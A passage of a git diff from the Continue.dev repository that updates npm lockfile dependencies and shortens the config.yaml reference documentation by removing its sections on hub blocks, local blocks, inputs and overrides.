- "integrity": "sha512-NPRy+/ncIMeDlTAsuqwKIiferiawhefFJtkNSW0qZJEqMEb+qBt/77B/jGeeek+F0uOeN05CDa6HXbbIgtVX4w==",
+ "version": "1.22.11",
+ "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.11.tgz",
+ "integrity": "sha512-RfqAvLnMl313r7c9oclB1HhUEAezcpLjz95wFH4LVuhk9JF/r22qmVP9AMmOU4vMX7Q8pN8jwNg/CSpdFnMjTQ==",
"license": "MIT",
"dependencies": {
- "is-core-module": "^2.16.0",
+ "is-core-module": "^2.16.1",
"path-parse": "^1.0.7",
"supports-preserve-symlinks-flag": "^1.0.0"
},
@@ -12019,9 +12837,9 @@
}
},
"node_modules/rou3": {
- "version": "0.6.3",
- "resolved": "https://registry.npmjs.org/rou3/-/rou3-0.6.3.tgz",
- "integrity": "sha512-1HSG1ENTj7Kkm5muMnXuzzfdDOf7CFnbSYFA+H3Fp/rB9lOCxCPgy1jlZxTKyFoC5jJay8Mmc+VbPLYRjzYLrA==",
+ "version": "0.7.10",
+ "resolved": "https://registry.npmjs.org/rou3/-/rou3-0.7.10.tgz",
+ "integrity": "sha512-aoFj6f7MJZ5muJ+Of79nrhs9N3oLGqi2VEMe94Zbkjb6Wupha46EuoYgpWSOZlXww3bbd8ojgXTAA2mzimX5Ww==",
"license": "MIT"
},
"node_modules/run-async": {
@@ -12079,7 +12897,6 @@
"version": "5.2.1",
"resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz",
"integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==",
- "dev": true,
"funding": [
{
"type": "github",
@@ -12276,7 +13093,6 @@
"version": "1.2.2",
"resolved": "https://registry.npmjs.org/set-function-length/-/set-function-length-1.2.2.tgz",
"integrity": "sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==",
- "dev": true,
"license": "MIT",
"dependencies": {
"define-data-property": "^1.1.4",
@@ -12328,6 +13144,27 @@
"dev": true,
"license": "ISC"
},
+ "node_modules/sha.js": {
+ "version": "2.4.12",
+ "resolved": "https://registry.npmjs.org/sha.js/-/sha.js-2.4.12.tgz",
+ "integrity": "sha512-8LzC5+bvI45BjpfXU8V5fdU2mfeKiQe1D1gIMn7XUlF3OTUrpdJpPPH4EMAnF0DsHHdSZqCdSss5qCmJKuiO3w==",
+ "license": "(MIT AND BSD-3-Clause)",
+ "peer": true,
+ "dependencies": {
+ "inherits": "^2.0.4",
+ "safe-buffer": "^5.2.1",
+ "to-buffer": "^1.2.0"
+ },
+ "bin": {
+ "sha.js": "bin.js"
+ },
+ "engines": {
+ "node": ">= 0.10"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
"node_modules/sharp": {
"version": "0.33.5",
"resolved": "https://registry.npmjs.org/sharp/-/sharp-0.33.5.tgz",
@@ -12368,6 +13205,29 @@
"@img/sharp-win32-x64": "0.33.5"
}
},
+ "node_modules/shebang-command": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz",
+ "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==",
+ "license": "MIT",
+ "peer": true,
+ "dependencies": {
+ "shebang-regex": "^3.0.0"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/shebang-regex": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz",
+ "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==",
+ "license": "MIT",
+ "peer": true,
+ "engines": {
+ "node": ">=8"
+ }
+ },
"node_modules/shiki": {
"version": "3.7.0",
"resolved": "https://registry.npmjs.org/shiki/-/shiki-3.7.0.tgz",
@@ -12385,12 +13245,6 @@
"@types/hast": "^3.0.4"
}
},
- "node_modules/shimmer": {
- "version": "1.2.1",
- "resolved": "https://registry.npmjs.org/shimmer/-/shimmer-1.2.1.tgz",
- "integrity": "sha512-sQTKC1Re/rM6XyFM6fIAGHRPVGvyXfgzIDvzoq608vM+jeyVD0Tu1E6Np0Kc2zAIFWIj963V2800iF/9LPieQw==",
- "license": "BSD-2-Clause"
- },
"node_modules/side-channel": {
"version": "1.1.0",
"resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.1.0.tgz",
@@ -12504,6 +13358,12 @@
"devOptional": true,
"license": "MIT"
},
+ "node_modules/sisteransi": {
+ "version": "1.0.5",
+ "resolved": "https://registry.npmjs.org/sisteransi/-/sisteransi-1.0.5.tgz",
+ "integrity": "sha512-bLGGlR1QxBcynn2d5YmDX4MGjlZvy2MRBDRNHLJ8VI6l6+9FUiyTFNJ0IveOSP0bcXgVDPRcfGqA0pjaqUpfVg==",
+ "license": "MIT"
+ },
"node_modules/slice-ansi": {
"version": "7.1.0",
"resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-7.1.0.tgz",
@@ -12735,6 +13595,23 @@
"dev": true,
"license": "BSD-3-Clause"
},
+ "node_modules/sql-highlight": {
+ "version": "6.1.0",
+ "resolved": "https://registry.npmjs.org/sql-highlight/-/sql-highlight-6.1.0.tgz",
+ "integrity": "sha512-ed7OK4e9ywpE7pgRMkMQmZDPKSVdm0oX5IEtZiKnFucSF0zu6c80GZBe38UqHuVhTWJ9xsKgSMjCG2bml86KvA==",
+ "funding": [
+ "https://github.com/scriptcoded/sql-highlight?sponsor=1",
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/scriptcoded"
+ }
+ ],
+ "license": "MIT",
+ "peer": true,
+ "engines": {
+ "node": ">=14"
+ }
+ },
"node_modules/stack-utils": {
"version": "2.0.6",
"resolved": "https://registry.npmjs.org/stack-utils/-/stack-utils-2.0.6.tgz",
@@ -12822,6 +13699,62 @@
"url": "https://github.com/sponsors/sindresorhus"
}
},
+ "node_modules/string-width-cjs": {
+ "name": "string-width",
+ "version": "4.2.3",
+ "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
+ "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==",
+ "license": "MIT",
+ "peer": true,
+ "dependencies": {
+ "emoji-regex": "^8.0.0",
+ "is-fullwidth-code-point": "^3.0.0",
+ "strip-ansi": "^6.0.1"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/string-width-cjs/node_modules/ansi-regex": {
+ "version": "5.0.1",
+ "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
+ "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==",
+ "license": "MIT",
+ "peer": true,
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/string-width-cjs/node_modules/emoji-regex": {
+ "version": "8.0.0",
+ "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz",
+ "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==",
+ "license": "MIT",
+ "peer": true
+ },
+ "node_modules/string-width-cjs/node_modules/is-fullwidth-code-point": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz",
+ "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==",
+ "license": "MIT",
+ "peer": true,
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/string-width-cjs/node_modules/strip-ansi": {
+ "version": "6.0.1",
+ "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
+ "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
+ "license": "MIT",
+ "peer": true,
+ "dependencies": {
+ "ansi-regex": "^5.0.1"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
"node_modules/string.prototype.trim": {
"version": "1.2.10",
"resolved": "https://registry.npmjs.org/string.prototype.trim/-/string.prototype.trim-1.2.10.tgz",
@@ -12900,7 +13833,6 @@
"version": "7.1.0",
"resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.0.tgz",
"integrity": "sha512-iq6eVVI64nQQTRYq2KtEg2d2uU7LElhTJwsH4YzIHZshxlgZms/wIc4VoDQTlG/IvVIrBKG06CrZnp0qv7hkcQ==",
- "dev": true,
"license": "MIT",
"dependencies": {
"ansi-regex": "^6.0.1"
@@ -12912,6 +13844,30 @@
"url": "https://github.com/chalk/strip-ansi?sponsor=1"
}
},
+ "node_modules/strip-ansi-cjs": {
+ "name": "strip-ansi",
+ "version": "6.0.1",
+ "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
+ "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
+ "license": "MIT",
+ "peer": true,
+ "dependencies": {
+ "ansi-regex": "^5.0.1"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/strip-ansi-cjs/node_modules/ansi-regex": {
+ "version": "5.0.1",
+ "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
+ "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==",
+ "license": "MIT",
+ "peer": true,
+ "engines": {
+ "node": ">=8"
+ }
+ },
"node_modules/strip-bom-string": {
"version": "1.0.0",
"resolved": "https://registry.npmjs.org/strip-bom-string/-/strip-bom-string-1.0.0.tgz",
@@ -12966,12 +13922,12 @@
}
},
"node_modules/superjson": {
- "version": "2.2.2",
- "resolved": "https://registry.npmjs.org/superjson/-/superjson-2.2.2.tgz",
- "integrity": "sha512-5JRxVqC8I8NuOUjzBbvVJAKNM8qoVuH0O77h4WInc/qC2q5IreqKxYwgkga3PfA22OayK2ikceb/B26dztPl+Q==",
+ "version": "2.2.5",
+ "resolved": "https://registry.npmjs.org/superjson/-/superjson-2.2.5.tgz",
+ "integrity": "sha512-zWPTX96LVsA/eVYnqOM2+ofcdPqdS1dAF1LN4TS2/MWuUpfitd9ctTa87wt4xrYnZnkLtS69xpBdSxVBP5Rm6w==",
"license": "MIT",
"dependencies": {
- "copy-anything": "^3.0.2"
+ "copy-anything": "^4"
},
"engines": {
"node": ">=16"
@@ -12989,6 +13945,18 @@
"url": "https://github.com/sponsors/ljharb"
}
},
+ "node_modules/tagged-tag": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/tagged-tag/-/tagged-tag-1.0.0.tgz",
+ "integrity": "sha512-yEFYrVhod+hdNyx7g5Bnkkb0G6si8HJurOoOEgC8B/O0uXLHlaey/65KRv6cuWBNhBgHKAROVpc7QyYqE5gFng==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=20"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
"node_modules/tar": {
"version": "6.2.1",
"resolved": "https://registry.npmjs.org/tar/-/tar-6.2.1.tgz",
@@ -13066,6 +14034,21 @@
"tinycolor2": "^1.6.0"
}
},
+ "node_modules/to-buffer": {
+ "version": "1.2.2",
+ "resolved": "https://registry.npmjs.org/to-buffer/-/to-buffer-1.2.2.tgz",
+ "integrity": "sha512-db0E3UJjcFhpDhAF4tLo03oli3pwl3dbnzXOUIlRKrp+ldk/VUxzpWYZENsw2SZiuBjHAk7DfB0VU7NKdpb6sw==",
+ "license": "MIT",
+ "peer": true,
+ "dependencies": {
+ "isarray": "^2.0.5",
+ "safe-buffer": "^5.2.1",
+ "typed-array-buffer": "^1.0.3"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ }
+ },
"node_modules/to-regex-range": {
"version": "5.0.1",
"resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz",
@@ -13166,7 +14149,6 @@
"version": "1.0.3",
"resolved": "https://registry.npmjs.org/typed-array-buffer/-/typed-array-buffer-1.0.3.tgz",
"integrity": "sha512-nAYYwfY3qnzX30IkA6AQZjVbtK6duGontcQm1WSG1MD94YLqK0515GNApXkoxKOWMusVssAHWLh9SeaoefYFGw==",
- "dev": true,
"license": "MIT",
"dependencies": {
"call-bound": "^1.0.3",
@@ -13240,6 +14222,141 @@
"url": "https://github.com/sponsors/ljharb"
}
},
+ "node_modules/typeorm": {
+ "version": "0.3.27",
+ "resolved": "https://registry.npmjs.org/typeorm/-/typeorm-0.3.27.tgz",
+ "integrity": "sha512-pNV1bn+1n8qEe8tUNsNdD8ejuPcMAg47u2lUGnbsajiNUr3p2Js1XLKQjBMH0yMRMDfdX8T+fIRejFmIwy9x4A==",
+ "license": "MIT",
+ "peer": true,
+ "dependencies": {
+ "@sqltools/formatter": "^1.2.5",
+ "ansis": "^3.17.0",
+ "app-root-path": "^3.1.0",
+ "buffer": "^6.0.3",
+ "dayjs": "^1.11.13",
+ "debug": "^4.4.0",
+ "dedent": "^1.6.0",
+ "dotenv": "^16.4.7",
+ "glob": "^10.4.5",
+ "sha.js": "^2.4.12",
+ "sql-highlight": "^6.0.0",
+ "tslib": "^2.8.1",
+ "uuid": "^11.1.0",
+ "yargs": "^17.7.2"
+ },
+ "bin": {
+ "typeorm": "cli.js",
+ "typeorm-ts-node-commonjs": "cli-ts-node-commonjs.js",
+ "typeorm-ts-node-esm": "cli-ts-node-esm.js"
+ },
+ "engines": {
+ "node": ">=16.13.0"
+ },
+ "funding": {
+ "url": "https://opencollective.com/typeorm"
+ },
+ "peerDependencies": {
+ "@google-cloud/spanner": "^5.18.0 || ^6.0.0 || ^7.0.0",
+ "@sap/hana-client": "^2.14.22",
+ "better-sqlite3": "^8.0.0 || ^9.0.0 || ^10.0.0 || ^11.0.0 || ^12.0.0",
+ "ioredis": "^5.0.4",
+ "mongodb": "^5.8.0 || ^6.0.0",
+ "mssql": "^9.1.1 || ^10.0.1 || ^11.0.1",
+ "mysql2": "^2.2.5 || ^3.0.1",
+ "oracledb": "^6.3.0",
+ "pg": "^8.5.1",
+ "pg-native": "^3.0.0",
+ "pg-query-stream": "^4.0.0",
+ "redis": "^3.1.1 || ^4.0.0 || ^5.0.14",
+ "reflect-metadata": "^0.1.14 || ^0.2.0",
+ "sql.js": "^1.4.0",
+ "sqlite3": "^5.0.3",
+ "ts-node": "^10.7.0",
+ "typeorm-aurora-data-api-driver": "^2.0.0 || ^3.0.0"
+ },
+ "peerDependenciesMeta": {
+ "@google-cloud/spanner": {
+ "optional": true
+ },
+ "@sap/hana-client": {
+ "optional": true
+ },
+ "better-sqlite3": {
+ "optional": true
+ },
+ "ioredis": {
+ "optional": true
+ },
+ "mongodb": {
+ "optional": true
+ },
+ "mssql": {
+ "optional": true
+ },
+ "mysql2": {
+ "optional": true
+ },
+ "oracledb": {
+ "optional": true
+ },
+ "pg": {
+ "optional": true
+ },
+ "pg-native": {
+ "optional": true
+ },
+ "pg-query-stream": {
+ "optional": true
+ },
+ "redis": {
+ "optional": true
+ },
+ "sql.js": {
+ "optional": true
+ },
+ "sqlite3": {
+ "optional": true
+ },
+ "ts-node": {
+ "optional": true
+ },
+ "typeorm-aurora-data-api-driver": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/typeorm/node_modules/buffer": {
+ "version": "6.0.3",
+ "resolved": "https://registry.npmjs.org/buffer/-/buffer-6.0.3.tgz",
+ "integrity": "sha512-FTiCpNxtwiZZHEZbcbTIcZjERVICn9yq/pDFkTl95/AxzD1naBctN7YO68riM/gLSDY7sdrMby8hofADYuuqOA==",
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/feross"
+ },
+ {
+ "type": "patreon",
+ "url": "https://www.patreon.com/feross"
+ },
+ {
+ "type": "consulting",
+ "url": "https://feross.org/support"
+ }
+ ],
+ "license": "MIT",
+ "peer": true,
+ "dependencies": {
+ "base64-js": "^1.3.1",
+ "ieee754": "^1.2.1"
+ }
+ },
+ "node_modules/typeorm/node_modules/tslib": {
+ "version": "2.8.1",
+ "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz",
+ "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==",
+ "license": "0BSD",
+ "peer": true
+ },
"node_modules/unbox-primitive": {
"version": "1.1.0",
"resolved": "https://registry.npmjs.org/unbox-primitive/-/unbox-primitive-1.1.0.tgz",
@@ -13540,6 +14657,20 @@
"node": ">= 0.4.0"
}
},
+ "node_modules/uuid": {
+ "version": "11.1.0",
+ "resolved": "https://registry.npmjs.org/uuid/-/uuid-11.1.0.tgz",
+ "integrity": "sha512-0/A9rDy9P7cJ+8w1c9WD9V//9Wj15Ce2MPz8Ri6032usz+NfePxx5AcN3bN+r6ZL6jEo066/yNYB3tn4pQEx+A==",
+ "funding": [
+ "https://github.com/sponsors/broofa",
+ "https://github.com/sponsors/ctavan"
+ ],
+ "license": "MIT",
+ "peer": true,
+ "bin": {
+ "uuid": "dist/esm/bin/uuid"
+ }
+ },
"node_modules/vary": {
"version": "1.1.2",
"resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz",
@@ -13639,6 +14770,22 @@
"webidl-conversions": "^3.0.0"
}
},
+ "node_modules/which": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz",
+ "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==",
+ "license": "ISC",
+ "peer": true,
+ "dependencies": {
+ "isexe": "^2.0.0"
+ },
+ "bin": {
+ "node-which": "bin/node-which"
+ },
+ "engines": {
+ "node": ">= 8"
+ }
+ },
"node_modules/which-boxed-primitive": {
"version": "1.1.1",
"resolved": "https://registry.npmjs.org/which-boxed-primitive/-/which-boxed-primitive-1.1.1.tgz",
@@ -13710,7 +14857,6 @@
"version": "1.1.19",
"resolved": "https://registry.npmjs.org/which-typed-array/-/which-typed-array-1.1.19.tgz",
"integrity": "sha512-rEvr90Bck4WZt9HHFC4DJMsjvu7x+r6bImz0/BrbWb7A2djJ8hnZMrWnHo9F8ssv0OMErasDhftrfROTyqSDrw==",
- "dev": true,
"license": "MIT",
"dependencies": {
"available-typed-arrays": "^1.0.7",
@@ -13768,6 +14914,96 @@
"url": "https://github.com/chalk/wrap-ansi?sponsor=1"
}
},
+ "node_modules/wrap-ansi-cjs": {
+ "name": "wrap-ansi",
+ "version": "7.0.0",
+ "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz",
+ "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==",
+ "license": "MIT",
+ "peer": true,
+ "dependencies": {
+ "ansi-styles": "^4.0.0",
+ "string-width": "^4.1.0",
+ "strip-ansi": "^6.0.0"
+ },
+ "engines": {
+ "node": ">=10"
+ },
+ "funding": {
+ "url": "https://github.com/chalk/wrap-ansi?sponsor=1"
+ }
+ },
+ "node_modules/wrap-ansi-cjs/node_modules/ansi-regex": {
+ "version": "5.0.1",
+ "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
+ "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==",
+ "license": "MIT",
+ "peer": true,
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/wrap-ansi-cjs/node_modules/ansi-styles": {
+ "version": "4.3.0",
+ "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+ "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+ "license": "MIT",
+ "peer": true,
+ "dependencies": {
+ "color-convert": "^2.0.1"
+ },
+ "engines": {
+ "node": ">=8"
+ },
+ "funding": {
+ "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+ }
+ },
+ "node_modules/wrap-ansi-cjs/node_modules/emoji-regex": {
+ "version": "8.0.0",
+ "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz",
+ "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==",
+ "license": "MIT",
+ "peer": true
+ },
+ "node_modules/wrap-ansi-cjs/node_modules/is-fullwidth-code-point": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz",
+ "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==",
+ "license": "MIT",
+ "peer": true,
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/wrap-ansi-cjs/node_modules/string-width": {
+ "version": "4.2.3",
+ "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
+ "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==",
+ "license": "MIT",
+ "peer": true,
+ "dependencies": {
+ "emoji-regex": "^8.0.0",
+ "is-fullwidth-code-point": "^3.0.0",
+ "strip-ansi": "^6.0.1"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/wrap-ansi-cjs/node_modules/strip-ansi": {
+ "version": "6.0.1",
+ "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
+ "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
+ "license": "MIT",
+ "peer": true,
+ "dependencies": {
+ "ansi-regex": "^5.0.1"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
"node_modules/wrappy": {
"version": "1.0.2",
"resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz",
@@ -13978,9 +15214,9 @@
}
},
"node_modules/zustand": {
- "version": "5.0.6",
- "resolved": "https://registry.npmjs.org/zustand/-/zustand-5.0.6.tgz",
- "integrity": "sha512-ihAqNeUVhe0MAD+X8M5UzqyZ9k3FFZLBTtqo6JLPwV53cbRB/mJwBI0PxcIgqhBBHlEs8G45OTDTMq3gNcLq3A==",
+ "version": "5.0.8",
+ "resolved": "https://registry.npmjs.org/zustand/-/zustand-5.0.8.tgz",
+ "integrity": "sha512-gyPKpIaxY9XcO2vSMrLbiER7QMAMGOQZVRdJ6Zi782jkbzZygq5GI9nG8g+sMgitRtndwaBSl7uiqC49o1SSiw==",
"license": "MIT",
"engines": {
"node": ">=12.20.0"
diff --git a/docs/package.json b/docs/package.json
index 2ff504d1c..2967f4ba1 100644
--- a/docs/package.json
+++ b/docs/package.json
@@ -16,6 +16,6 @@
"mintlify": "^4.2.3"
},
"dependencies": {
- "@c15t/react": "^1.4.4"
+ "@c15t/react": "^1.6.1"
}
}
diff --git a/docs/reference.mdx b/docs/reference.mdx
index 2738d55e9..2933ea3ac 100644
--- a/docs/reference.mdx
+++ b/docs/reference.mdx
@@ -1,136 +1,23 @@
---
title: "config.yaml Reference"
-description: "Comprehensive guide to the config.yaml format used by Continue.dev for building custom coding agents. Learn how to define models, context providers, rules, prompts, and more using reusable blocks and YAML configuration."
+description: "Comprehensive guide to the config.yaml format used by Continue.dev for building custom coding agents. Learn how to define models, context providers, rules, prompts, and more using YAML configuration."
---
## Introduction
-Continue hub agents are defined using the `config.yaml` specification. Agents can be loaded from [the Hub](https://hub.continue.dev/explore/agents) or locally
+Continue Agents are defined using the `config.yaml` specification.
-- [Continue Hub](https://hub.continue.dev/explore/agents) - YAML is stored on the hub and automatically synced to the extension
+**Agents** are composed of models, rules, and tools (MCP servers).
-- Locally
- - in your global `.continue` folder (`~/.continue` on Mac, `%USERPROFILE%\.continue`) within `.continue/agents`. The name of the file will be used as the display name of the agent, e.g. `My Agent.yaml`
- - in your workspace in a `/.continue/agents` folder, with the same naming convention
+
+
+Learn how to work with Continue's configuration system, including using hub models, rules, and tools, creating local configurations, and organizing your setup.
+
-
- Config YAML replaces `config.json`, which is deprecated. View the **[Migration
- Guide](/reference/yaml-migration)**.
-
-
-An agent is made up of:
-
-1. **Top level properties**, which specify the `name`, `version`, and `config.yaml` `schema` for the agent
-2. **Block lists**, which are composable arrays of coding agent building blocks available to the agent, such as models, docs, and context providers.
-
-A block is a single standalone building block of a coding agents, e.g., one model or one documentation source. In `config.yaml` syntax, a block consists of the same top-level properties as agents (`name`, `version`, and `schema`), but only has **ONE** item under whichever block type it is.
-
-Examples of blocks and agents can be found on the [Continue Hub](https://hub.continue.dev).
-
-Agents can either explicitly define blocks - see [Properties](#properties) below - or import and configure existing hub blocks.
-
-### Using Blocks
-
-Hub blocks and agents are identified with a slug in the format `owner-slug/block-or-agent-slug`, where an owner can be a user or organization (For example, if you want to use the [OpenAI 4o Model block](https://hub.continue.dev/openai/gpt-4o), your slug would be `openai/gpt-4o`). These blocks are pulled from [https://hub.continue.dev](https://hub.continue.dev).
-
-Blocks can be imported into an agent by adding a `uses` clause under the block type. This can be alongside other `uses` clauses or explicit blocks of that type.
-
-For example, the following agent imports an Anthropic model and defines an Ollama DeepSeek one.
-
-Agent models section
-
-```yaml
-name: Team Agent
-version: 1.0.0
-schema: v1
-
-models:
- - uses: anthropic/claude-3.5-sonnet # an imported model block
- - model: deepseek-reasoner # an explicit model block
- provider: ollama
-```
-
-### Local Blocks
-
-It is also possible to define blocks locally in a `.continue` folder. This folder can be located at either the root of your workspace (these will automatically be applied to all agents when you are in that workspace) or in your home directory at `~/.continue` (these will automatically be applied globally).
-
-Place your YAML files in the following folders:
-
-Agents:
-
-- `.continue/agents` - for agents
-
-Blocks:
-
-- `.continue/rules` - for rules
-- `.continue/models` - for models
-- `.continue/prompts` - for prompts
-- `.continue/context` - for context providers
-- `.continue/docs` - for docs
-- `.continue/data` - for data
-- `.continue/mcpServers` - for MCP Servers
-
-You can find many examples of each of these block types on the [Continue Explore Page](https://hub.continue.dev/explore/models)
-
-
-Local blocks utilizing mustache notation for secrets (`${{ secrets.SECRET_NAME }}`) can read secret values:
-
-- globally, from a `.env` located in the global `.continue` folder (`~/.continue/.env`)
-- per-workspace, from a `.env` file located at the root of the current workspace.
-
-
-
-### Inputs
-
-Blocks can be passed user inputs, including hub secrets and raw text values. To create a block that has an input, use mustache templating as follows:
-
-```yaml title="config.yaml"
-name: myprofile/custom-model
-version: 1.0.0
-schema: v1
-
-models:
- - name: My Favorite Model
- provider: anthropic
- apiKey: ${{ inputs.ANTHROPIC_API_KEY }}
- defaultCompletionOptions:
- temperature: ${{ inputs.TEMP }}
-```
-
-Which can then be imported like this:
-
-```yaml title="config.yaml"
-name: myprofile/custom-agent
-version: 1.0.0
-schema: v1
-
-models:
- - uses: myprofile/custom-model
- with:
- ANTHROPIC_API_KEY: ${{ secrets.MY_ANTHROPIC_API_KEY }}
- TEMP: 0.9
-```
-
-Note that hub secrets can be passed as inputs, using a similar mustache format: `secrets.SECRET_NAME`.
-
-### Overrides
-
-Block properties can be also be directly overriden using `override`. For example:
-
-```yaml title="config.yaml"
-name: myprofile/custom-agent
-version: 1.0.0
-schema: v1
-
-models:
- - uses: myprofile/custom-model
- with:
- ANTHROPIC_API_KEY: ${{ secrets.MY_ANTHROPIC_API_KEY }}
- TEMP: 0.9
- override:
- roles:
- - chat
-```
+
+ Learn how to build and configure configs, understand their capabilities, and customize them for your development workflow.
+
+
## Properties
@@ -326,47 +213,55 @@ context:
### `rules`
-List of rules that the LLM should follow. These are concatenated into the system message for all [Agent](/features/agent/quick-start), [Chat](/features/chat/quick-start), and [Edit](/features/edit/quick-start) requests. See the [rules deep dive](/customize/deep-dives/rules) for details.
+Rules are concatenated into the system message for all [Agent](/ide-extensions/agent/quick-start), [Chat](/ide-extensions/chat/quick-start), and [Edit](/ide-extensions/edit/quick-start) requests.
-Explicit rules can either be simple text or an object with the following properties:
+Confiugration example:
-- `name` (**required**): A display name/title for the rule
